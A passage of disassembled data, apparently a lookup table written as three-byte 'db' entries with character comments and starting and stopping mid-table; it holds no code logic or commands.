15h ; db 68h ; h db 22h ; " db 0CBh ; db 15h ; db 69h ; i db 21h ; ! db 0CBh ; db 15h ; db 69h ; i db 46h ; F db 0CBh ; db 15h ; db 6Bh ; k db 1 ; db 0CBh ; db 15h ; db 6Bh ; k db 6 ; db 0CBh ; db 15h ; db 7Eh ; ~ db 0Ah ; db 0CBh ; db 15h ; db 7Fh ;  db 64h ; d db 0CBh ; db 15h ; db 7Fh ;  db 63h ; c db 0CBh ; db 15h ; db 86h ; db 14h ; db 0CBh ; db 15h ; db 0Fh ; db 2 ; db 0CBh ; db 15h ; db 0Fh ; db 3 ; db 0CBh ; db 15h ; db 1Eh ; db 7Ch ; | db 0CBh ; db 15h ; db 1Eh ; db 7Dh ; } db 0CBh ; db 15h ; db 25h ; % db 12h ; db 0CBh ; db 15h ; db 2Fh ; / db 1 ; db 0CBh ; db 15h ; db 54h ; T db 1 ; db 0CBh ; db 15h ; db 55h ; U db 1 ; db 0CBh ; db 15h ; db 9 ; db 1 ; db 0CBh ; db 16h ; db 65h ; e db 1 ; db 0CBh ; db 16h ; db 65h ; e db 2 ; db 0CBh ; db 16h ; db 0Fh ; db 82h ; db 0CBh ; db 16h ; db 10h ; db 0C1h ; db 0CBh ; db 16h ; db 11h ; db 93h ; db 0CBh ; db 16h ; db 0B8h ; db 0Ah ; db 0CBh ; db 16h ; db 0B8h ; db 1Ah ; db 0CBh ; db 16h ; db 0CAh ; db 81h ; db 0CBh ; db 16h ; db 0CAh ; db 82h ; db 0CBh ; db 16h ; db 0F7h ; db 41h ; A db 0CBh ; db 16h ; db 8 ; db 0E5h ; db 0CBh ; db 17h ; db 8Bh ; db 0Ah ; db 0CBh ; db 17h ; db 0A7h ; db 1 ; db 0CBh ; db 17h ; db 2Ch ; , db 7 ; db 0CBh ; db 0E8h ; db 7Fh ;  db 1 ; db 0CBh ; db 0E9h ; db 0CAh ; db 21h ; ! db 0CBh ; db 0E9h ; db 0CDh ; db 21h ; ! db 0CBh ; db 0EBh ; db 81h ; db 1 ; db 0CBh ; db 0EFh ; db 82h ; db 1 ; db 0CBh ; db 0EFh ; db 83h ; db 1 ; db 0CBh ; db 18h ; db 64h ; d db 16h ; db 0CBh ; db 18h ; db 64h ; d db 17h ; db 0CBh ; db 0F0h ; db 0C1h ; db 0Bh ; db 0CBh ; db 0F1h ; db 76h ; v db 1 ; db 0CBh ; db 0F1h ; db 84h ; db 22h ; " db 0CBh ; db 0F1h ; db 84h ; db 55h ; U db 0CBh ; db 0F1h ; db 87h ; db 87h ; db 0CBh ; db 0F1h ; db 0A8h ; db 8 ; db 0CBh ; db 0F1h ; db 0B0h ; db 0Dh ; db 0CBh ; db 0F1h ; db 0D8h ; db 5 ; db 0CBh ; db 0F1h ; db 0DCh ; db 0Ah ; db 0CBh ; db 0F1h ; db 0FAh ; db 0Bh ; db 0CBh ; db 0F1h ; db 34h ; 4 db 64h ; d db 0CBh ; db 0F1h ; db 54h ; T db 0Ah ; db 0CBh ; db 0F1h ; db 9 ; db 81h ; db 0CBh ; db 0F4h ; db 73h ; s db 23h ; # db 0CBh ; db 0F5h ; db 0Fh ; db 9 ; db 0CBh ; db 0F8h ; db 0F0h ; db 8Dh ; db 0CBh ; db 0F8h ; db 0F0h ; db 1Fh ; db 0CBh ; db 0FBh ; db 0C9h ; db 1 ; db 0CBh ; db 0FBh ; db 0D3h ; db 1 ; db 0CBh ; db 0FFh ; db 70h ; p db 22h ; " db 0CBh ; db 0FFh ; db 70h ; p db 4 ; db 0CBh ; db 1Ah ; db 78h ; x db 3 ; db 0CBh ; db 1Ah ; db 0C7h ; db 1 ; db 0CBh ; db 1Ah ; db 0C7h ; db 0Fh ; db 0CBh ; db 1Bh ; db 0E2h ; db 41h ; A db 0CBh ; db 1Bh ; db 5Ch ; \ db 0Ah ; db 0CBh ; db 1Ch ; db 0EAh ; db 4 ; db 0CBh ; db 1Ch ; db 0EAh ; db 5 ; db 0CBh ; db 1Eh ; db 0EDh ; db 2 ; db 0CBh ; db 1Eh ; db 0EDh ; db 3 ; db 0CBh ; db 1Fh ; db 65h ; e db 5 ; db 0CBh ; db 1Fh ; db 7Dh ; } db 1 ; db 0CBh ; db 1Fh ; db 7Dh ; } db 2 ; db 0CBh ; db 1Fh ; db 7Eh ; ~ db 2 ; db 0CBh ; db 1Fh ; db 7Fh ;  db 1 ; db 0CBh ; db 1Fh ; db 0A0h ; db 1 ; db 0CBh ; db 1Fh ; db 0BFh ; db 32h ; 2 db 0CBh ; db 1Fh ; db 0C6h ; db 0D2h ; db 0CBh ; db 1Fh ; db 0D8h ; db 1 ; db 0CBh ; db 1Fh ; db 0D8h ; db 5 ; db 0CBh ; db 1Fh ; db 0EEh ; db 1 ; db 0CBh ; db 1Fh ; db 0EEh ; db 2 ; db 0CBh ; db 1Fh ; db 0FCh ; db 0Bh ; db 0CBh ; db 1Fh ; db 0FCh ; db 0Ch ; db 0CBh ; db 1Fh ; db 0FEh ; db 12h ; db 0CBh ; db 1Fh ; db 0FEh ; db 1Ch ; db 0CBh ; db 1Fh ; db 28h ; ( db 1 ; db 0CBh ; db 1Fh ; db 2Ah ; * db 0Ah ; db 0CBh ; db 1Fh ; db 2Ah ; * db 1Ah ; db 0CBh ; db 1Fh ; db 30h ; 0 db 7 ; db 0CBh ; db 1Fh ; db 49h ; I db 1 ; db 0CBh ; db 1Fh ; db 4Fh ; O db 3Ch ; < db 0CBh ; db 1Fh ; db 60h ; ` db 1 ; db 0CBh ; db 1Fh ; db 63h ; c db 1 ; db 0CBh ; db 1Fh ; db 63h ; c db 2 ; db 0CBh ; db 20h ; db 99h ; db 45h ; E db 0CBh ; db 20h ; db 0A0h ; db 0Ah ; db 0CBh ; db 20h ; db 0A1h ; db 0ECh ; db 0CBh ; db 20h ; db 0A6h ; db 0Ah ; db 0CBh ; db 21h ; ! db 10h ; db 0Ah ; db 0CBh ; db 23h ; # db 0A8h ; db 7Eh ; ~ db 0CBh ; db 23h ; # db 12h ; db 1 ; db 0CBh ; db 23h ; # db 12h ; db 2 ; db 0CBh ; db 23h ; # db 0B6h ; db 7 ; db 0CBh ; db 23h ; # db 0B6h ; db 9 ; db 0CBh ; db 23h ; # db 53h ; S db 2 ; db 0CBh ; db 23h ; # db 53h ; S db 3 ; db 0CBh ; db 25h ; % db 0EDh ; db 2 ; db 0CBh ; db 25h ; % db 0FFh ; db 61h ; a db 0CBh ; db 29h ; ) db 0Ah ; db 2Bh ; + db 0CBh ; db 29h ; ) db 0Ah ; db 2Fh ; / db 0CBh ; db 29h ; ) db 0ABh ; db 2 ; db 0CBh ; db 29h ; ) db 0ABh ; db 3 ; db 0CBh ; db 29h ; ) db 0DCh ; db 1Eh ; db 0CBh ; db 29h ; ) db 0DFh ; db 0Ah ; db 0CBh ; db 29h ; ) db 0DFh ; db 14h ; db 0CBh ; db 29h ; ) db 19h ; db 1 ; db 0CBh ; db 29h ; ) db 19h ; db 2 ; db 0CBh ; db 29h ; ) db 2Ch ; , db 14h ; db 0CBh ; db 29h ; ) db 35h ; 5 db 5 ; db 0CBh ; db 29h ; ) db 4Fh ; O db 1 ; db 0CBh ; db 29h ; ) db 4Fh ; O db 3 ; db 0CBh ; db 2Ah ; * db 0D6h ; db 62h ; b db 0CBh ; db 2Bh ; + db 41h ; A db 52h ; R db 0CBh ; db 5 ; db 0Ah ; db 0Ah ; db 0CBh ; db 5 ; db 77h ; w db 33h ; 3 db 0CBh ; db 5 ; db 0D9h ; db 4 ; db 0CBh ; db 5 ; db 49h ; I db 2 ; db 0CBh ; db 32h ; 2 db 0 ; db 89h ; db 0CBh ; db 32h ; 2 db 0 ; db 18h ; db 0CBh ; db 37h ; 7 db 90h ; db 1 ; db 0CBh ; db 37h ; 7 db 46h ; F db 0FEh ; db 0CBh ; db 37h ; 7 db 63h ; c db 37h ; 7 db 0CBh ; db 37h ; 7 db 63h ; c db 63h ; c db 0CBh ; db 38h ; 8 db 0BAh ; db 7 ; db 0CBh ; db 38h ; 8 db 0E9h ; db 78h ; x db 0CBh ; db 39h ; 9 db 18h ; db 4 ; db 0CBh ; db 3Ah ; : db 7Eh ; ~ db 17h ; db 0CBh ; db 3Bh ; ; db 18h ; db 2 ; db 0CBh ; db 3Ch ; < db 1 ; db 2 ; db 0CBh ; db 3Ch ; < db 1 ; db 9 ; db 0CBh ; db 3Dh ; = db 7Fh ;  db 0Bh ; db 0CBh ; db 3Dh ; = db 86h ; db 2 ; db 0CBh ; db 3Dh ; = db 8Eh ; db 2 ; db 0CBh ; db 3Dh ; = db 8Eh ; db 4 ; db 0CBh ; db 3Dh ; = db 9Bh ; db 6Fh ; o db 0CBh ; db 3Eh ; > db 0B4h ; db 14h ; db 0CBh ; db 3Fh ; ? db 0A4h ; db 3 ; db 0CBh ; db 3Fh ; ? db 0FBh ; db 3 ; db 0CBh ; db 3Fh ; ? db 4Dh ; M db 1 ; db 0CBh ; db 40h ; @ db 77h ; w db 1 ; db 0CBh ; db 40h ; @ db 8Ah ; db 8 ; db 0CBh ; db 40h ; @ db 1Ah ; db 1 ; db 0CBh ; db 40h ; @ db 1Ah ; db 3 ; db 0CBh ; db 40h ; @ db 3 ; db 0B1h ; db 0CBh ; db 40h ; @ db 30h ; 0 db 0FDh ; db 0CBh ; db 42h ; B db 0F6h ; db 1 ; db 0CBh ; db 45h ; E db 0D9h ; db 23h ; # db 0CBh ; db 45h ; E db 5Dh ; ] db 82h ; db 0CBh ; db 7 ; db 0C6h ; db 1 ; db 0CBh ; db 47h ; G db 64h ; d db 0FAh ; db 0CBh ; db 47h ; G db 66h ; f db 1 ; db 0CBh ; db 47h ; G db 76h ; v db 0FBh ; db 0CBh ; db 47h ; G db 8Dh ; db 1 ; db 0CBh ; db 47h ; G db 8Eh ; db 1 ; db 0CBh ; db 47h ; G db 8Fh ; db 1 ; db 0CBh ; db 47h ; G db 90h ; db 1 ; db 0CBh ; db 47h ; G db 91h ; db 64h ; d db 0CBh ; db 47h ; G db 96h ; db 0FDh ; db 0CBh ; db 47h ; G db 9Eh ; db 1 ; db 0CBh ; db 47h ; G db 10h ; db 1 ; db 0CBh ; db 47h ; G db 0B6h ; db 0FDh ; db 0CBh ; db 47h ; G db 0BAh ; db 1 ; db 0CBh ; db 47h ; G db 0C6h ; db 1 ; db 0CBh ; db 47h ; G db 0CCh ; db 1 ; db 0CBh ; db 47h ; G db 0CEh ; db 1 ; db 0CBh ; db 47h ; G db 0D0h ; db 1 ; db 0CBh ; db 47h ; G db 0D3h ; db 6 ; db 0CBh ; db 47h ; G db 0D4h ; db 1 ; db 0CBh ; db 47h ; G db 0D5h ; db 1 ; db 0CBh ; db 47h ; G db 0DDh ; db 1 ; db 0CBh ; db 47h ; G db 0E1h ; db 0FEh ; db 0CBh ; db 47h ; G db 0E8h ; db 2 ; db 0CBh ; db 47h ; G db 0EFh ; db 1 ; db 0CBh ; db 47h ; G db 0F7h ; db 1 ; db 0CBh ; db 47h ; G db 0FAh ; db 1 ; db 0CBh ; db 47h ; G db 3 ; db 1 ; db 0CBh ; db 47h ; G db 34h ; 4 db 1 ; db 0CBh ; db 47h ; G db 3Fh ; ? db 5 ; db 0CBh ; db 47h ; G db 48h ; H db 1 ; db 0CBh ; db 47h ; G db 4Ah ; J db 0Ah ; db 0CBh ; db 47h ; G db 4Ah ; J db 0Ch ; db 0CBh ; db 47h ; G db 4Eh ; N db 1 ; db 0CBh ; db 47h ; G db 60h ; ` db 1 ; db 0CBh ; db 47h ; G db 62h ; b db 3 ; db 0CBh ; db 48h ; H db 99h ; db 6 ; db 0CBh ; db 48h ; H db 0B0h ; db 0FDh ; db 0CBh ; db 4Ah ; J db 0A2h ; db 21h ; ! db 0CBh ; db 4Ah ; J db 0E4h ; db 11h ; db 0CBh ; db 4Fh ; O db 0E0h ; db 1Eh ; db 0CBh ; db 54h ; T db 0C0h ; db 1 ; db 0CBh ; db 57h ; W db 52h ; R db 13h ; db 0CBh ; db 59h ; Y db 0E1h ; db 8Dh ; db 0CBh ; db 9 ; db 96h ; db 1 ; db 0CBh ; db 9 ; db 0BEh ; db 11h ; db 0CBh ; db 5Bh ; [ db 0EEh ; db 0FAh ; db 0CBh ; db 5Bh ; [ db 40h ; @ db 87h ; db 0CBh ; db 61h ; a db 21h ; ! db 1 ; db 0CBh ; db 61h ; a db 25h ; % db 1 ; db 0CCh ; db 1 ; db 6Ah ; j db 4 ; db 0CCh ; db 1 ; db 6Ah ; j db 5 ; db 0CCh ; db 1 ; db 2 ; db 0Ah ; db 0CCh ; db 1 ; db 1Ch ; db 0Bh ; db 0CCh ; db 1 ; db 1Ch ; db 3Bh ; ; db 0CCh ; db 64h ; d db 40h ; @ db 7 ; db 0CCh ; db 65h ; e db 6Bh ; k db 2 ; db 0CCh ; db 65h ; e db 8Dh ; db 1 ; db 0CCh ; db 65h ; e db 99h ; db 18h ; db 0CCh ; db 65h ; e db 9Ah ; db 3 ; db 0CCh ; db 65h ; e db 9Dh ; db 19h ; db 0CCh ; db 65h ; e db 0A0h ; db 2 ; db 0CCh ; db 65h ; e db 0ACh ; db 1 ; db 0CCh ; db 65h ; e db 0B3h ; db 0Ah ; db 0CCh ; db 65h ; e db 0B3h ; db 3 ; db 0CCh ; db 65h ; e db 0BCh ; db 2 ; db 0CCh ; db 65h ; e db 0BCh ; db 3 ; db 0CCh ; db 65h ; e db 0BCh ; db 4 ; db 0CCh ; db 65h ; e db 0BEh ; db 4 ; db 0CCh ; db 65h ; e db 0BEh ; db 5 ; db 0CCh ; db 65h ; e db 0D7h ; db 0Ah ; db 0CCh ; db 65h ; e db 0D9h ; db 0FEh ; db 0CCh ; db 65h ; e db 0E0h ; db 2 ; db 0CCh ; db 65h ; e db 0E4h ; db 2Ch ; , db 0CCh ; db 65h ; e db 0FBh ; db 1 ; db 0CCh ; db 65h ; e db 0FBh ; db 2 ; db 0CCh ; db 65h ; e db 36h ; 6 db 1Ch ; db 0CCh ; db 65h ; e db 4Ch ; L db 2 ; db 0CCh ; db 65h ; e db 4Fh ; O db 4Fh ; O db 0CCh ; db 65h ; e db 56h ; V db 2 ; db 0CCh ; db 65h ; e db 5Fh ; _ db 1 ; db 0CCh ; db 66h ; f db 3Dh ; = db 41h ; A db 0CCh ; db 6Bh ; k db 13h ; db 14h ; db 0CCh ; db 6Fh ; o db 1 ; db 23h ; # db 0CCh ; db 6Fh ; o db 1 ; db 24h ; $ db 0CCh ; db 71h ; q db 1 ; db 0Ah ; db 0CCh ; db 74h ; t db 39h ; 9 db 2 ; db 0CCh ; db 75h ; u db 0B0h ; db 0Bh ; db 0CCh ; db 75h ; u db 0D6h ; db 0Ah ; db 0CCh ; db 76h ; v db 6 ; db 0Eh ; db 0CCh ; db 76h ; v db 6 ; db 2 ; db 0CCh ; db 76h ; v db 3Fh ; ? db 4 ; db 0CCh ; db 76h ; v db 3Fh ; ? db 5 ; db 0CCh ; db 77h ; w db 0F0h ; db 19h ; db 0CCh ; db 77h ; w db 0F0h ; db 8 ; db 0CCh ; db 78h ; x db 70h ; p db 2 ; db 0CCh ; db 78h ; x db 7Ah ; z db 0D7h ; db 0CCh ; db 79h ; y db 3 ; db 1 ; db 0CCh ; db 79h ; y db 6 ; db 1 ; db 0CCh ; db 7Bh ; { db 2 ; db 12h ; db 0CCh ; db 7Bh ; { db 2 ; db 2Ah ; * db 0CCh ; db 7Ch ; | db 0C0h ; db 8 ; db 0CCh ; db 7Ch ; | db 0C1h ; db 23h ; # db 0CCh ; db 7Fh ;  db 81h ; db 1 ; db 0CCh ; db 7Fh ;  db 81h ; db 2 ; db 0CCh ; db 7Fh ;  db 0C1h ; db 1Dh ; db 0CCh ; db 80h ; db 0C0h ; db 0Ah ; db 0CCh ; db 81h ; db 78h ; x db 7Dh ; } db 0CCh ; db 81h ; db 80h ; db 0Ah ; db 0CCh ; db 81h ; db 81h ; db 0FEh ; db 0CCh ; db 83h ; db 0A6h ; db 0FDh ; db 0CCh ; db 83h ; db 11h ; db 1 ; db 0CCh ; db 83h ; db 0ABh ; db 1Ah ; db 0CCh ; db 83h ; db 19h ; db 1 ; db 0CCh ; db 83h ; db 2Eh ; . db 0C8h ; db 0CCh ; db 83h ; db 32h ; 2 db 1 ; db 0CCh ; db 83h ; db 52h ; R db 0F8h ; db 0CCh ; db 85h ; db 0F3h ; db 0FCh ; db 0CCh ; db 86h ; db 87h ; db 0Dh ; db 0CCh ; db 86h ; db 88h ; db 0Ah ; db 0CCh ; db 86h ; db 0D6h ; db 5 ; db 0CCh ; db 89h ; db 0Eh ; db 0Eh ; db 0CCh ; db 8Ah ; db 73h ; s db 19h ; db 0CCh ; db 8Ah ; db 0EFh ; db 3Ch ; < db 0CCh ; db 8Ch ; db 0AAh ; db 4 ; db 0CCh ; db 8Ch ; db 0AAh ; db 6 ; db 0CCh ; db 8Ch ; db 0B9h ; db 0E4h ; db 0CCh ; db 8Ch ; db 0BCh ; db 8 ; db 0CCh ; db 8Ch ; db 0BDh ; db 9 ; db 0CCh ; db 8Ch ; db 0DCh ; db 3 ; db 0CCh ; db 8Ch ; db 0E7h ; db 3 ; db 0CCh ; db 8Ch ; db 0E7h ; db 4 ; db 0CCh ; db 8Dh ; db 67h ; g db 2 ; db 0CCh ; db 8Dh ; db 67h ; g db 3 ; db 0CCh ; db 8Dh ; db 0D8h ; db 0Ah ; db 0CCh ; db 8Dh ; db 0D8h ; db 0Ch ; db 0CCh ; db 8Dh ; db 3Ch ; < db 0Ah ; db 0CCh ; db 8Dh ; db 3Ch ; < db 0Bh ; db 0CCh ; db 92h ; db 0ACh ; db 0D2h ; db 0CCh ; db 92h ; db 0ADh ; db 23h ; # db 0CCh ; db 92h ; db 0B0h ; db 0C3h ; db 0CCh ; db 93h ; db 80h ; db 46h ; F db 0CCh ; db 93h ; db 80h ; db 4Eh ; N db 0CCh ; db 93h ; db 50h ; P db 1 ; db 0CCh ; db 93h ; db 50h ; P db 5 ; db 0CCh ; db 93h ; db 50h ; P db 6 ; db 0CCh ; db 95h ; db 51h ; Q db 0Ah ; db 0CCh ; db 95h ; db 55h ; U db 5 ; db 0CCh ; db 97h ; db 0F9h ; db 15h ; db 0CCh ; db 97h ; db 3Dh ; = db 5 ; db 0CCh ; db 97h ; db 48h ; H db 2 ; db 0CCh ; db 97h ; db 48h ; H db 8 ; db 0CCh ; db 97h ; db 61h ; a db 11h ; db 0CCh ; db 98h ; db 8Fh ; db 1 ; db 0CCh ; db 98h ; db 0A6h ; db 9Bh ; db 0CCh ; db 98h ; db 0B8h ; db 40h ; @ db 0CCh ; db 99h ; db 18h ; db 1 ; db 0CCh ; db 99h ; db 40h ; @ db 2 ; db 0CCh ; db 99h ; db 47h ; G db 0ABh ; db 0CCh ; db 99h ; db 47h ; G db 0ACh ; db 0CCh ; db 99h ; db 51h ; Q db 17h ; db 0CCh ; db 99h ; db 51h ; Q db 18h ; db 0CCh ; db 9Dh ; db 3 ; db 0Dh ; db 0CCh ; db 9Fh ; db 6Ch ; l db 47h ; G db 0CCh ; db 9Fh ; db 6Eh ; n db 47h ; G db 0CCh ; db 0A1h ; db 68h ; h db 43h ; C db 0CCh ; db 0A1h ; db 6Bh ; k db 14h ; db 0CCh ; db 0A1h ; db 4 ; db 0Ah ; db 0CCh ; db 0A1h ; db 34h ; 4 db 0Ah ; db 0CCh ; db 0A1h ; db 34h ; 4 db 10h ; db 0CCh ; db 0A2h ; db 7Ch ; | db 42h ; B db 0CCh ; db 0A3h ; db 0A7h ; db 68h ; h db 0CCh ; db 0A5h ; db 0C8h ; db 56h ; V db 0CCh ; db 0A5h ; db 0D6h ; db 0A0h ; db 0CCh ; db 0A5h ; db 0D6h ; db 2 ; db 0CCh ; db 0A6h ; db 6Fh ; o db 12h ; db 0CCh ; db 0A6h ; db 0BEh ; db 3 ; db 0CCh ; db 0A6h ; db 0C3h ; db 1Eh ; db 0CCh ; db 0A6h ; db 38h ; 8 db 73h ; s db 0CCh ; db 0A6h ; db 38h ; 8 db 0B3h ; db 0CCh ; db 0A6h ; db 3Dh ; = db 0F2h ; db 0CCh ; db 0A6h ; db 3Dh ; = db 0F5h ; db 0CCh ; db 0A8h ; db 1Ch ; db 9 ; db 0CCh ; db 11h ; db 0D9h ; db 0Dh ; db 0CCh ; db 0AAh ; db 44h ; D db 51h ; Q db 0CCh ; db 0ABh ; db 0A8h ; db 2 ; db 0CCh ; db 0ABh ; db 0A8h ; db 0F9h ; db 0CCh ; db 0ABh ; db 0BAh ; db 2 ; db 0CCh ; db 0ABh ; db 1Fh ; db 4 ; db 0CCh ; db 0ABh ; db 30h ; 0 db 2 ; db 0CCh ; db 0ABh ; db 30h ; 0 db 6 ; db 0CCh ; db 0AEh ; db 67h ; g db 22h ; " db 0CCh ; db 0AEh ; db 10h ; db 4 ; db 0CCh ; db 0AEh ; db 12h ; db 2 ; db 0CCh ; db 0AEh ; db 0DEh ; db 14h ; db 0CCh ; db 0AEh ; db 0DEh ; db 15h ; db 0CCh ; db 0AEh ; db 23h ; # db 17h ; db 0CCh ; db 0AEh ; db 40h ; @ db 1 ; db 0CCh ; db 0AEh ; db 41h ; A db 1 ; db 0CCh ; db 0B0h ; db 14h ; db 15h ; db 0CCh ; db 0B0h ; db 14h ; db 1Ah ; db 0CCh ; db 0B1h ; db 20h ; db 2 ; db 0CCh ; db 0B1h ; db 20h ; db 3 ; db 0CCh ; db 0B2h ; db 10h ; db 31h ; 1 db 0CCh ; db 0B2h ; db 10h ; db 6 ; db 0CCh ; db 0B4h ; db 0E5h ; db 0Bh ; db 0CCh ; db 0B4h ; db 0E5h ; db 0Ch ; db 0CCh ; db 0B5h ; db 98h ; db 2 ; db 0CCh ; db 0B5h ; db 98h ; db 33h ; 3 db 0CCh ; db 0B5h ; db 0B0h ; db 2 ; db 0CCh ; db 0B5h ; db 0B0h ; db 6 ; db 0CCh ; db 0B5h ; db 0C0h ; db 2 ; db 0CCh ; db 0B5h ; db 0C0h ; db 4 ; db 0CCh ; db 0B5h ; db 0C8h ; db 0Ah ; db 0CCh ; db 0B5h ; db 0C8h ; db 2 ; db 0CCh ; db 0B5h ; db 26h ; & db 0Ah ; db 0CCh ; db 0B5h ; db 26h ; & db 0Fh ; db 0CCh ; db 0BAh ; db 0 ; db 0C9h ; db 0CCh ; db 0BAh ; db 0 ; db 0CAh ; db 0CCh ; db 0BBh ; db 3Bh ; ; db 1 ; db 0CCh ; db 0BBh ; db 3Bh ; ; db 2 ; db 0CCh ; db 0BBh ; db 58h ; X db 0Ah ; db 0CCh ; db 0BDh ; db 54h ; T db 0Ah ; db 0CCh ; db 0BDh ; db 54h ; T db 8 ; db 0CCh ; db 0BDh ; db 5Eh ; ^ db 25h ; % db 0CCh ; db 0BDh ; db 5Eh ; ^ db 46h ; F db 0CCh ; db 13h ; db 8Ah ; db 1 ; db 0CCh ; db 0C2h ; db 0Ah ; db 0CEh ; db 0CCh ; db 0C2h ; db 68h ; h db 3 ; db 0CCh ; db 0C2h ; db 68h ; h db 4 ; db 0CCh ; db 0C2h ; db 24h ; $ db 0Eh ; db 0CCh ; db 0C9h ; db 0DCh ; db 2 ; db 0CCh ; db 0D0h ; db 85h ; db 0C8h ; db 0CCh ; db 0D0h ; db 85h ; db 0DCh ; db 0CCh ; db 0D3h ; db 0B9h ; db 0E6h ; db 0CCh ; db 0D3h ; db 0DEh ; db 5 ; db 0CCh ; db 0D4h ; db 0ABh ; db 1 ; db 0CCh ; db 0D4h ; db 0ABh ; db 2 ; db 0CCh ; db 0D4h ; db 24h ; $ db 2 ; db 0CCh ; db 0D4h ; db 24h ; $ db 5 ; db 0CCh ; db 0D5h ; db 0B0h ; db 1 ; db 0CCh ; db 0D5h ; db 0B0h ; db 2 ; db 0CCh ; db 0D5h ; db 0FAh ; db 14h ; db 0CCh ; db 0D5h ; db 0FAh ; db 15h ; db 0CCh ; db 0D6h ; db 5 ; db 9 ; db 0CCh ; db 0D7h ; db 3Ch ; < db 2 ; db 0CCh ; db 0D7h ; db 3Ch ; < db 5 ; db 0CCh ; db 0DAh ; db 0D2h ; db 5 ; db 0CCh ; db 0DCh ; db 8Ch ; db 1 ; db 0CCh ; db 0DCh ; db 8Ch ; db 0Bh ; db 0CCh ; db 0DDh ; db 72h ; r db 1 ; db 0CCh ; db 0DDh ; db 0F0h ; db 0Fh ; db 0CCh ; db 0DDh ; db 2Dh ; - db 3 ; db 0CCh ; db 0E1h ; db 0F7h ; db 83h ; db 0CCh ; db 0E3h ; db 0B6h ; db 1 ; db 0CCh ; db 0EEh ; db 78h ; x db 15h ; db 0CCh ; db 0EEh ; db 78h ; x db 5 ; db 0CCh ; db 0EFh ; db 0A7h ; db 1 ; db 0CCh ; db 0EFh ; db 0A7h ; db 0Bh ; db 0CCh ; db 0F1h ; db 0BEh ; db 1 ; db 0CCh ; db 0F1h ; db 0DAh ; db 2 ; db 0CCh ; db 0F2h ; db 94h ; db 2 ; db 0CCh ; db 0F4h ; db 3 ; db 81h ; db 0CCh ; db 0F4h ; db 63h ; c db 42h ; B db 0CCh ; db 0F6h ; db 1 ; db 14h ; db 0CCh ; db 0F7h ; db 0F7h ; db 14h ; db 0CCh ; db 0F8h ; db 3Ch ; < db 0Ah ; db 0CCh ; db 0F8h ; db 3Ch ; < db 9 ; db 0CCh ; db 0F9h ; db 0EEh ; db 0Ah ; db 0CCh ; db 0F9h ; db 0EEh ; db 0Bh ; db 0CCh ; db 0FBh ; db 8Ah ; db 2 ; db 0CCh ; db 0FBh ; db 8Ah ; db 6 ; db 0CCh ; db 0FBh ; db 0C8h ; db 0Ch ; db 0CCh ; db 0FBh ; db 0CCh ; db 28h ; ( db 0CCh ; db 0FBh ; db 0CEh ; db 2 ; db 0CCh ; db 0FBh ; db 0EFh ; db 2 ; db 0CCh ; db 0FBh ; db 0EFh ; db 3 ; db 0CCh ; db 0FBh ; db 5Dh ; ] db 2 ; db 0CCh ; db 0FDh ; db 53h ; S db 0Ah ; db 0CCh ; db 0FDh ; db 53h ; S db 64h ; d db 0CCh ; db 0FEh ; db 76h ; v db 1 ; db 0CCh ; db 0FEh ; db 0AFh ; db 0FBh ; db 0CCh ; db 1Ah ; db 57h ; W db 5Ah ; Z db 0CCh ; db 1Dh ; db 8Ch ; db 0FAh ; db 0CCh ; db 1Dh ; db 8Ch ; db 0FBh ; db 0CCh ; db 1Dh ; db 0B9h ; db 1 ; db 0CCh ; db 1Dh ; db 0B9h ; db 8 ; db 0CCh ; db 1Fh ; db 1 ; db 1 ; db 0CCh ; db 1Fh ; db 0CBh ; db 2 ; db 0CCh ; db 20h ; db 16h ; db 2 ; db 0CCh ; db 21h ; ! db 42h ; B db 0D4h ; db 0CCh ; db 22h ; " db 0D3h ; db 51h ; Q db 0CCh ; db 22h ; " db 0E7h ; db 4 ; db 0CCh ; db 24h ; $ db 10h ; db 0CBh ; db 0CCh ; db 32h ; 2 db 0F9h ; db 1 ; db 0CCh ; db 32h ; 2 db 0FAh ; db 1 ; db 0CCh ; db 33h ; 3 db 1 ; db 1 ; db 0CCh ; db 39h ; 9 db 42h ; B db 2 ; db 0CCh ; db 39h ; 9 db 43h ; C db 2 ; db 0CCh ; db 39h ; 9 db 43h ; C db 14h ; db 0CCh ; db 3Bh ; ; db 1 ; db 0DEh ; db 0CCh ; db 3Bh ; ; db 90h ; db 0DEh ; db 0CCh ; db 3Bh ; ; db 40h ; @ db 0DEh ; db 0CCh ; db 3Ch ; < db 0 ; db 2 ; db 0CCh ; db 3Ch ; < db 0 ; db 3 ; db 0CCh ; db 3Dh ; = db 0CDh ; db 65h ; e db 0CCh ; db 3Dh ; = db 0CDh ; db 78h ; x db 0CCh ; db 3Eh ; > db 20h ; db 0Ah ; db 0CCh ; db 40h ; @ db 0B5h ; db 0C8h ; db 0CCh ; db 43h ; C db 3 ; db 2 ; db 0CCh ; db 44h ; D db 0B4h ; db 20h ; db 0CCh ; db 44h ; D db 0E3h ; db 1 ; db 0CCh ; db 45h ; E db 0EAh ; db 1 ; db 0CCh ; db 46h ; F db 80h ; db 1 ; db 0CCh ; db 46h ; F db 0B0h ; db 45h ; E db 0CCh ; db 46h ; F db 19h ; db 0EAh ; db 0CCh ; db 46h ; F db 31h ; 1 db 0EAh ; db 0CCh ; db 46h ; F db 39h ; 9 db 0F2h ; db 0CCh ; db 47h ; G db 64h ; d db 0F8h ; db 0CCh ; db 47h ; G db 64h ; d db 3 ; db 0CCh ; db 47h ; G db 6Ah ; j db 3 ; db 0CCh ; db 47h ; G db 74h ; t db 19h ; db 0CCh ; db 47h ; G db 76h ; v db 22h ; " db 0CCh ; db 47h ; G db 77h ; w db 0Bh ; db 0CCh ; db 47h ; G db 7Fh ;  db 2 ; db 0CCh ; db 47h ; G db 9Ah ; db 5 ; db 0CCh ; db 47h ; G db 9Ch ; db 2 ; db 0CCh ; db 47h ; G db 9Ch ; db 4 ; db 0CCh ; db 47h ; G db 9Dh ; db 3 ; db 0CCh ; db 47h ; G db 13h ; db 0Ah ; db 0CCh ; db 47h ; G db 13h ; db 14h ; db 0CCh ; db 47h ; G db 0C8h ; db 21h ; ! db 0CCh ; db 47h ; G db 0D1h ; db 2 ; db 0CCh ; db 47h ; G db 0D4h ; db 2 ; db 0CCh ; db 47h ; G db 2Dh ; - db 2 ; db 0CCh ; db 47h ; G db 44h ; D db 2 ; db 0CCh ; db 47h ; G db 44h ; D db 3 ; db 0CCh ; db 47h ; G db 4Bh ; K db 8Ah ; db 0CCh ; db 47h ; G db 58h ; X db 12h ; db 0CCh ; db 47h ; G db 5Ch ; \ db 1 ; db 0CCh ; db 48h ; H db 80h ; db 0Ah ; db 0CCh ; db 48h ; H db 80h ; db 0Bh ; db 0CCh ; db 49h ; I db 37h ; 